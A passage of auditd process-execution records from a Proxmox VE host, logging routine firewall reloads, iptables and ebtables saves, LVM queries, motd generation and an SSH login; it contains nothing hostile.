type=PROCTITLE msg=audit(1781966170.675:68736): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796218,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.218:62670): argc=3 a0=\"/bin/sh\" a1=\"/usr/bin/which\" a2=\"whence\""} {"@timestamp":1781966170675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966170.675:68735): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796217,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.217:62669): argc=5 a0=\"/bin/sh\" a1=\"/usr/bin/which\" a2=\"--skip-alias\" a3=\"--skip-functions\" a4=\"which\""} {"@timestamp":1781966170675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966170.675:68734): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964796205,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.205:62668): argc=2 a0=\"dirname\" a1=\"/usr/local/rvm\""} {"@timestamp":1781966166141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.141:68733): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964796189,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.189:62667): argc=5 a0=\"ps\" a1=\"-p\" a2=\"60083\" a3=\"-o\" a4=\"ucomm=\""} {"@timestamp":1781966166137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.137:68732): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964796170,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.170:62666): argc=5 a0=\"ps\" a1=\"-p\" a2=\"60083\" a3=\"-o\" a4=\"ucomm=\""} {"@timestamp":1781966166137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.137:68731): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964796156,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.156:62665): argc=5 a0=\"ps\" a1=\"-p\" a2=\"60083\" a3=\"-o\" a4=\"ucomm=\""} {"@timestamp":1781966166136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.136:68730): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964796143,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.143:62664): argc=5 a0=\"run-parts\" a1=\"--list\" a2=\"--regex\" a3=\"^[a-zA-Z0-9_][a-zA-Z0-9._-]*\\.sh$\" a4=\"/etc/profile.d\""} {"@timestamp":1781966166131,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.131:68729): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964796141,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.141:62663): argc=2 a0=\"id\" a1=\"-u\""} {"@timestamp":1781966166120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.120:68728): proctitle=\"ip6tables-save\""} {"@timestamp":1781964796137,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.137:62662): argc=1 a0=\"-bash\""} {"@timestamp":1781966166106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.106:68727): proctitle=\"iptables-save\""} {"@timestamp":1781964796122,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.122:62656): argc=2 a0=\"/bin/sh\" a1=\"/etc/update-motd.d/10-uname\""} {"@timestamp":1781966166093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.093:68726): proctitle=\"ip6tables-save\""} {"@timestamp":1781964796120,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.120:62655): argc=3 a0=\"run-parts\" a1=\"--lsbsysinit\" a2=\"/etc/update-motd.d\""} {"@timestamp":1781966166074,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.074:68725): proctitle=\"iptables-save\""} {"@timestamp":1781964796119,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.119:62651): argc=4 a0=\"sh\" a1=\"-c\" a2=\"--\" a3=2F7573722F62696E2F656E76202D6920504154483D2F7573722F6C6F63616C2F7362696E3A2F7573722F6C6F63616C2F62696E3A2F7573722F7362696E3A2F7573722F62696E3A2F7362696E3A2F62696E2072756E2D7061727473202D2D6C7362737973696E6974202F6574632F7570646174652D6D6F74642E64203E202F72756E2F6D6F74642E64796E616D69632E6E6577"} {"@timestamp":1781966166070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.070:68724): proctitle=\"ebtables-restore\""} {"@timestamp":1781964796092,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.092:62644): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"chkexpiry\""} {"@timestamp":1781966166067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.067:68723): proctitle=\"ebtables-restore\""} {"@timestamp":1781964796048,"@rawstring":"node=pve type=EXECVE msg=audit(1781964796.048:62641): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nonull\""} {"@timestamp":1781966166061,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.061:68722): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964795838,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.838:62640): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966166053,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.053:68721): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964795835,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.835:62639): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966166048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.048:68720): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964795834,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.834:62638): argc=1 a0=\"date\""} {"@timestamp":1781966166041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.041:68719): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964795830,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.830:62636): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966166034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.034:68718): proctitle=697073657400726573746F7265"} {"@timestamp":1781964795825,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.825:62635): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966166026,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.026:68717): proctitle=\"ip6tables-save\""} {"@timestamp":1781964795818,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.818:62634): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966166018,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.018:68716): proctitle=\"iptables-save\""} {"@timestamp":1781964795812,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.812:62633): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966166013,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.013:68715): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964795806,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.806:62632): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966166009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.009:68714): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964795800,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.800:62630): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966166008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.008:68713): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964795795,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.795:62629): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966166008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.008:68712): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964795789,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.789:62628): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966166003,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966166.003:68711): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964795784,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.784:62627): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966165995,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.995:68710): proctitle=\"ip6tables-save\""} {"@timestamp":1781964795778,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.778:62626): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966165988,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.988:68709): proctitle=\"iptables-save\""} {"@timestamp":1781964795773,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.773:62625): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966165981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.981:68708): proctitle=69707365740073617665"} {"@timestamp":1781964795766,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.766:62624): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966165972,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.972:68707): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964795760,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.760:62623): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966165955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.955:68706): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964795757,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.757:62622): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966165660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.660:68705): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964795754,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.754:62621): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966165660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.660:68704): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964795752,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.752:62620): argc=1 a0=\"date\""} {"@timestamp":1781966165660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.660:68703): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964795748,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.748:62618): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.646:68702): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964795741,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.741:62617): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.646:68701): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964795735,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.735:62616): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966165.646:68700): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964795730,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.730:62615): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966164769,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966164.769:68699): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964795724,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.724:62614): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966164728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966164.728:68698): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964795718,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.718:62613): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966160632,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966160.632:68697): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964795675,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.675:62612): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966160632,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966160.632:68696): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964795667,"@rawstring":"node=pve type=EXECVE msg=audit(1781964795.667:62609): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966160632,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966160.632:68695): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964794932,"@rawstring":"node=pve type=EXECVE msg=audit(1781964794.932:62606): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966160627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966160.627:68694): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964794898,"@rawstring":"node=pve type=EXECVE msg=audit(1781964794.898:62605): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966160627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966160.627:68693): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964790659,"@rawstring":"node=pve type=EXECVE msg=audit(1781964790.659:62604): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966160626,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966160.626:68692): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964790652,"@rawstring":"node=pve type=EXECVE msg=audit(1781964790.652:62601): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966155940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.940:68691): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964786581,"@rawstring":"node=pve type=EXECVE msg=audit(1781964786.581:62598): argc=3 a0=\"/usr/lib/openssh/sshd-auth\" a1=\"-D\" a2=\"-R\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.936:68690): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964786568,"@rawstring":"node=pve type=EXECVE msg=audit(1781964786.568:62597): argc=3 a0=\"/usr/lib/openssh/sshd-session\" a1=\"-D\" a2=\"-R\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.936:68689): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964785706,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.706:62596): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.936:68688): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.703:62595): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966155932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.932:68687): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.703:62594): argc=1 a0=\"date\""} {"@timestamp":1781966155925,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.925:68686): proctitle=\"ip6tables-save\""} {"@timestamp":1781964785700,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.700:62592): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966155918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.918:68685): proctitle=\"iptables-save\""} {"@timestamp":1781964785693,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.693:62591): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966155910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.910:68684): proctitle=\"ip6tables-save\""} {"@timestamp":1781964785687,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.687:62590): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966155902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.902:68683): proctitle=\"iptables-save\""} {"@timestamp":1781964785681,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.681:62589): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966155898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.898:68682): proctitle=\"ebtables-restore\""} {"@timestamp":1781964785673,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.673:62588): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966155896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.896:68681): proctitle=\"ebtables-restore\""} {"@timestamp":1781964785668,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.668:62586): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966155889,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.889:68680): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964785663,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.663:62585): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966155884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.884:68679): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964785657,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.657:62584): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966155877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.877:68678): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964785651,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.651:62583): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966155871,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.871:68677): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964785646,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.646:62582): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966155867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.867:68676): proctitle=697073657400726573746F7265"} {"@timestamp":1781964785644,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.644:62581): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966155859,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.859:68675): proctitle=\"ip6tables-save\""} {"@timestamp":1781964785640,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.640:62578): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966155852,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.852:68674): proctitle=\"iptables-save\""} {"@timestamp":1781964785633,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.633:62577): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966155848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.848:68673): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964785633,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.633:62576): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966155845,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.845:68672): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964785627,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.627:62573): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966155844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.844:68671): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964785624,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.624:62572): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966155844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.844:68670): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964785622,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.622:62571): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966155839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.839:68669): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964785621,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.621:62570): argc=1 a0=\"date\""} {"@timestamp":1781966155831,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.831:68668): proctitle=\"ip6tables-save\""} {"@timestamp":1781964785617,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.617:62568): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966155824,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.824:68667): proctitle=\"iptables-save\""} {"@timestamp":1781964785611,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.611:62567): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966155818,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.818:68666): proctitle=69707365740073617665"} {"@timestamp":1781964785606,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.606:62566): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966155810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.810:68665): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964785601,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.601:62565): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966155802,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.802:68664): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964785595,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.595:62564): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.617:68663): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964785588,"@rawstring":"node=pve type=EXECVE msg=audit(1781964785.588:62563): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.617:68662): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964784839,"@rawstring":"node=pve type=EXECVE msg=audit(1781964784.839:62562): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966155617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.617:68661): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964784814,"@rawstring":"node=pve type=EXECVE msg=audit(1781964784.814:62561): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964780623,"@rawstring":"node=pve type=EXECVE msg=audit(1781964780.623:62560): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.608:68660): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964780608,"@rawstring":"node=pve type=EXECVE msg=audit(1781964780.608:62557): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.608:68659): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775599,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.599:62554): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966155.608:68658): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964775591,"@rawstring":"node=pve type=EXECVE msg=audit(1781964775.591:62551): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966154624,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966154.624:68657): 